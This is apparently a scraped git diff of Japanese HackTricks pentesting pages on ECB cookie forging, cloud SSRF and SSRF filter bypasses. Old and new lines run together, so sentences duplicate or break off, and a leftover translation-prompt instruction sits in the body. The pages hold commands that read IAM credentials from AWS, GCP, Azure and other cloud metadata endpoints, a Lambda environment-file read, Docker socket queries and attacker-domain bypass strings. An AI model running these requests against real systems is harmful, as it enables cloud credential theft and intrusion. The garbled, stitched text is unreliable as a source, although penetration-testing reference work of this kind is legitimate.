ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキーの中にパターンがあるかどうかを確認します ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキーの中にパターンがあるかどうかを確認してください
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」という名前のユーザーを作成し、クッキーにパターンがあるかどうかを確認しますECBは同じキーでブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが表示される可能性があります 例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」という名前のユーザーを作成し、クッキーにパターンがあるかどうかを確認しますECBは同じキーでブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが表示される可能性があります
パターンがあるはずです使用されるブロックのサイズで。したがって、「a」の暗号化されたパターンを知っている場合、「a」のブロックのサイズ+「admin」のユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化されたパターンを削除します。そして、ユーザー名「admin」のクッキーを取得できます。 パターンがあるはずです(使用されているブロックのサイズで。したがって、「a」の暗号化されたパターンを削除することで、ユーザー名「admin」のクッキーを取得できます。
## 参考文献 ## 参考文献
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようになります。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**を**フォロー**してください** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**を**フォロー**してください
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -12,21 +12,29 @@
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## AWS ## AWS
### AWS EC2環境でのSSRFの悪用 ### AWS EC2環境でのSSRFの悪用
**メタデータ**エンドポイントは、EC2マシン内からアクセスでき、それに関する興味深い情報を提供します。URL `http://169.254.169.254` でアクセスできます([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。 **メタデータ**エンドポイントは、EC2マシン内からアクセスでき、それに関する興味深い情報を提供します。URLでアクセスできます:`http://169.254.169.254`[メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
メタデータエンドポイントには**2つのバージョン**があります。**最初のバージョン**では、**GET**リクエストを介してエンドポイントにアクセスできます(したがって、**SSRFが悪用できます**)。**バージョン2**の[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**HTTPヘッダ**を送信して**トークン**を要求し、そのトークンを使用して別のHTTPヘッダでメタデータにアクセスする必要がありますしたがって、SSRFでの悪用は**より複雑**になります)。 メタデータエンドポイントには**2つのバージョン**があります。**最初のバージョン**では、**GET**リクエストを介してエンドポイントにアクセスできます(したがって、**SSRFが悪用できます**)。**バージョン2**の[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**HTTPヘッダ**を送信して**トークン**を要求し、そのトークンを使用して別のHTTPヘッダでメタデータにアクセスする必要がありますしたがって、SSRFでの悪用は**より複雑**す)。
{% hint style="danger" %} {% hint style="danger" %}
EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**になり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることができなくなります。 EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**になり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることができなくなります。
さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダを含むトークンを取得するリクエストを**ブロック**します。これは、設定ミスの逆プロキシからのアクセスを防ぐためです。 さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダを含むトークンを取得するリクエストを**ブロック**します。これは、設定ミスのリバースプロキシがアクセスできないようにするためです。
{% endhint %} {% endhint %}
[ドキュメントでメタデータエンドポイントに関する情報を見つけることができます](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。以下のスクリプトでは、それから興味深い情報を取得しています: [ドキュメントでメタデータエンドポイントに関する情報を見つけることができます](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。のスクリプトでは、それから興味深い情報を取得します:
```bash ```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -86,7 +94,7 @@ echo ""
echo "EC2 Security Credentials" echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
``` ```
以下は、ハッキング技術に関する本の内容です。次の内容は、ファイルpentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.mdからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 以下は、ハッキング技術に関する本の内容です。次の内容は、ファイルpentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.mdからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、ペンテスト、マークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
```markdown ```markdown
As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
@ -130,12 +138,12 @@ _**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECS
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
``` ```
{% hint style="info" %} {% hint style="info" %}
いくつかのケースでは、コンテナからEC2メタデータインスタンスにアクセスできる場合があります前述のIMDSv2 TTLの制限を確認してください。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。 いくつかのケースでは、コンテナからEC2メタデータインスタンスにアクセスできる場合があります前述のIMDSv2 TTLの制限を確認してください。これらのシナリオでは、コンテナからコンテナのIAMロールとEC2のIAMロールの両方にアクセスできます。
{% endhint %} {% endhint %}
### AWS LambdaのSSRF <a href="#6f97" id="6f97"></a> ### AWS LambdaのSSRF <a href="#6f97" id="6f97"></a>
この場合、**資格情報は環境変数に保存されています**。したがって、それらにアクセスするには、**`file:///proc/self/environ`**のようなものにアクセスする必要があります。 この場合、**クレデンシャルは環境変数に保存されています**。したがって、それらにアクセスするには、**`file:///proc/self/environ`**のようなものにアクセスする必要があります。
興味深い環境変数の**名前**は次のとおりです: 興味深い環境変数の**名前**は次のとおりです:
@ -143,10 +151,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
* `AWS_SECRET_ACCESS_KEY` * `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID` * `AWS_ACCES_KEY_ID`
さらに、IAMの資格情報に加えて、Lambda関数には関数が開始されるときに関数に渡される**イベントデータ**もあります。このデータは、[ランタイムインターフェース](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**stageVariables**内のような**機密情報**を含むことがあります。IAMの資格情報とは異なり、このデータは**`http://localhost:9001/2018-06-01/runtime/invocation/next`**で標準のSSRF経由でアクセスできます。 さらに、IAMのクレデンシャルに加えて、Lambda関数には関数が開始されるときに関数に渡される**イベントデータ**もあります。このデータは、[ランタイムインターフェース](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**stageVariables**内のような**機密情報**を含むことがあります。IAMのクレデンシャルとは異なり、このデータは標準のSSRFを介して**`http://localhost:9001/2018-06-01/runtime/invocation/next`**でアクセスできます。
{% hint style="warning" %} {% hint style="warning" %}
Lambdaの資格情報は環境変数に格納されています。したがって、Lambdaコードのスタックトレースが環境変数を出力する場合、アプリケーションでエラーを引き起こすことでそれらを**外部に漏洩**させることが可能です。 Lambdaのクレデンシャルは環境変数に格納されています。したがって、Lambdaコードのスタックトレースが環境変数を出力する場合、アプリケーションでエラーを引き起こすことでそれらを**外部に漏洩**させることが可能です。
{% endhint %} {% endhint %}
### AWS Elastic BeanstalkのSSRF URL <a href="#6f97" id="6f97"></a> ### AWS Elastic BeanstalkのSSRF URL <a href="#6f97" id="6f97"></a>
@ -170,7 +178,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
### Google CloudのSSRF URL <a href="#6440" id="6440"></a> ### Google CloudのSSRF URL <a href="#6440" id="6440"></a>
ヘッダー「Metadata-Flavor: Google」または「X-Google-Metadata-Request: True」が必要であり、次のURLでメタデータエンドポイントにアクセスできます ヘッダー「Metadata-Flavor: Google」または「X-Google-Metadata-Request: True」が必要で、次のURLでメタデータエンドポイントにアクセスできます
* http://169.254.169.254 * http://169.254.169.254
* http://metadata.google.internal * http://metadata.google.internal
@ -320,14 +328,22 @@ http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq curl http://169.254.169.254/metadata/v1.json | jq
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Azure <a href="#cea8" id="cea8"></a> ## Azure <a href="#cea8" id="cea8"></a>
### Azure VM ### Azure VM
[**ここで**のドキュメント](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。 [**ここでのドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。
* **必ず** `Metadata: true` ヘッダを含む必要があります。 * ヘッダーには `Metadata: true` が含まれている必要があります。
* `X-Forwarded-For` ヘッダを含んではいけません。 * `X-Forwarded-For` ヘッダーが含まれていてはいけません。
{% tabs %} {% tabs %}
{% tab title="Bash" %} {% tab title="Bash" %}
@ -455,7 +471,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#2af0" id="2af0"></a> ## IBM Cloud <a href="#2af0" id="2af0"></a>
{% hint style="warning" %} {% hint style="warning" %}
IBMではデフォルトでメタデータが有効になっていないため、IBMのクラウドVM内にいてもアクセスできない場合があります。 IBMではデフォルトでメタデータが有効になっていないため、IBM CloudのVM内にいてもアクセスできない場合があります。
{% endhint %} {% endhint %}
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -510,25 +526,25 @@ Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to
One common scenario where SSRF can occur in cloud environments is when an application running on a cloud server allows users to specify a URL for fetching data. If the application does not properly validate and sanitize user input, an attacker can craft a malicious URL that triggers an SSRF vulnerability. One common scenario where SSRF can occur in cloud environments is when an application running on a cloud server allows users to specify a URL for fetching data. If the application does not properly validate and sanitize user input, an attacker can craft a malicious URL that triggers an SSRF vulnerability.
In the context of cloud environments, SSRF can be used to perform a variety of attacks, including: In the context of cloud environments, SSRF can be used to access metadata endpoints or internal APIs that provide information about the cloud instance or other resources within the cloud environment. This information can be leveraged by an attacker to gain unauthorized access or perform other malicious activities.
1. Accessing internal resources: An attacker can use SSRF to access internal resources such as databases, storage systems, or other services running within the cloud infrastructure. ## Exploiting SSRF in Cloud Environments
2. Exploiting metadata services: Cloud platforms often provide metadata services that allow instances to retrieve information about themselves. An attacker can use SSRF to access these metadata services and gather sensitive information, such as access keys or instance metadata. To exploit an SSRF vulnerability in a cloud environment, an attacker needs to identify a vulnerable application that allows user-controlled input for making requests. Once a vulnerable application is identified, the attacker can craft a malicious URL that points to a sensitive resource within the cloud environment.
3. Attacking other cloud services: SSRF can be used to attack other cloud services by making requests to their APIs. This can lead to unauthorized access, data leakage, or even complete compromise of the targeted service. For example, an attacker could craft a URL that points to the metadata endpoint of the cloud instance, which contains sensitive information such as access keys or credentials. By exploiting the SSRF vulnerability, the attacker can retrieve this information and use it to gain unauthorized access to other resources within the cloud environment.
To mitigate SSRF vulnerabilities in cloud environments, it is important to follow security best practices such as: ## Mitigating SSRF in Cloud Environments
- Implement input validation and sanitization: Ensure that user-supplied input is properly validated and sanitized before using it to make requests. To mitigate SSRF vulnerabilities in cloud environments, it is important to implement proper input validation and sanitization techniques. This includes validating user input to ensure that it conforms to expected formats and does not contain any malicious content.
- Use whitelisting: Maintain a whitelist of allowed URLs or IP addresses that the application can access. Additionally, cloud providers often offer security features that can help mitigate SSRF vulnerabilities. For example, some cloud platforms allow users to define network access controls to restrict outbound requests from cloud instances. By properly configuring these controls, organizations can limit the potential impact of SSRF vulnerabilities.
- Restrict access to metadata services: Limit access to metadata services to only the necessary instances and restrict the information that can be retrieved. Regular security assessments and penetration testing can also help identify and mitigate SSRF vulnerabilities in cloud environments. By proactively testing the security of cloud applications and infrastructure, organizations can identify and address vulnerabilities before they can be exploited by attackers.
- Monitor and log network traffic: Regularly monitor and log network traffic to detect any suspicious activity or unauthorized requests. ## Conclusion
By following these best practices, organizations can reduce the risk of SSRF vulnerabilities in their cloud environments and protect their sensitive data and resources. Server-Side Request Forgery (SSRF) vulnerabilities can pose a significant risk in cloud environments, as they can be used to access sensitive resources within the cloud infrastructure. By understanding the nature of SSRF vulnerabilities and implementing proper security measures, organizations can better protect their cloud environments from potential attacks.
``` ```
http://192.0.0.192/latest/ http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/user-data/
@ -559,20 +575,27 @@ bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher is a popular open-source container management platform that allows users to easily deploy and manage containers in a Kubernetes cluster. It provides a user-friendly interface and a wide range of features for managing containerized applications. Rancher is a popular open-source container management platform that allows users to easily deploy and manage containers in a Kubernetes cluster. It provides a user-friendly interface and a wide range of features for managing containerized applications.
Rancher supports various cloud providers, including AWS, GCP, and Azure, allowing users to deploy their applications on different cloud platforms. It also provides integration with other tools and services, such as monitoring and logging solutions, to enhance the management and monitoring capabilities of containerized applications. Rancher supports various cloud providers, including AWS, GCP, and Azure, allowing users to deploy their containers on different cloud platforms. It also provides integration with other tools and services, such as monitoring and logging solutions, to enhance the management and monitoring capabilities of containerized applications.
With its intuitive interface and powerful features, Rancher simplifies the process of deploying and managing containers, making it a popular choice among developers and system administrators. Whether you are running a small-scale application or a large-scale production environment, Rancher can help you streamline your container management workflow and improve the efficiency of your operations. With its intuitive interface and powerful features, Rancher simplifies the process of deploying and managing containers, making it a popular choice among developers and DevOps teams. Whether you are a beginner or an experienced user, Rancher offers a user-friendly experience and a robust set of tools for managing containerized applications.
``` ```
curl http://rancher-metadata/<version>/<path> curl http://rancher-metadata/<version>/<path>
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksをPDFでダウンロードしたいですか[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -4,14 +4,22 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### ローカルホスト ### ローカルホスト
```bash ```bash
# Localhost # Localhost
@ -118,19 +126,19 @@ attacker。com
Domain confusion is a technique used to bypass SSRF protections that rely on blacklisting or filtering specific URL formats. It takes advantage of the fact that different URL formats can be used to access the same resource. Domain confusion is a technique used to bypass SSRF protections that rely on blacklisting or filtering specific URL formats. It takes advantage of the fact that different URL formats can be used to access the same resource.
ドメインの混乱は、特定のURL形式のブラックリストやフィルタリングに依存しているSSRF保護をバイパスするための技術です。異なるURL形式を使用して同じリソースにアクセスできるという事実を利用します。 ドメインの混乱は、特定のURL形式のブラックリストやフィルタリングに依存るSSRF保護をバイパスするための技術です。異なるURL形式を使用して同じリソースにアクセスできるという事実を利用します。
For example, let's say there is a SSRF protection in place that blocks requests to internal IP addresses. The protection may be implemented by checking if the URL starts with "http://" or "https://". However, this can be bypassed by using alternative URL formats such as "http:/example.com" or "https:/example.com". For example, let's say there is a SSRF protection in place that blocks requests to internal IP addresses. The protection may be implemented by checking if the URL starts with "http://" or "https://". However, this protection can be bypassed by using alternative URL formats such as "http:/example.com" or "https:/example.com".
例えば、内部IPアドレスへのリクエストをブロックするSSRF保護があるとします。この保護は、URLが「http://」または「https://」で始まるかどうかをチェックすることで実装されているかもしれません。しかし、こは「http:/example.com」や「https:/example.com」といった代替URL形式を使用することでバイパスすることができます。 例えば、内部IPアドレスへのリクエストをブロックするSSRF保護があるとします。この保護は、URLが「http://」または「https://」で始まるかどうかをチェックすることで実装されているかもしれません。しかし、この保護は「http:/example.com」や「https:/example.com」といった代替URL形式を使用することでバイパスすることができます。
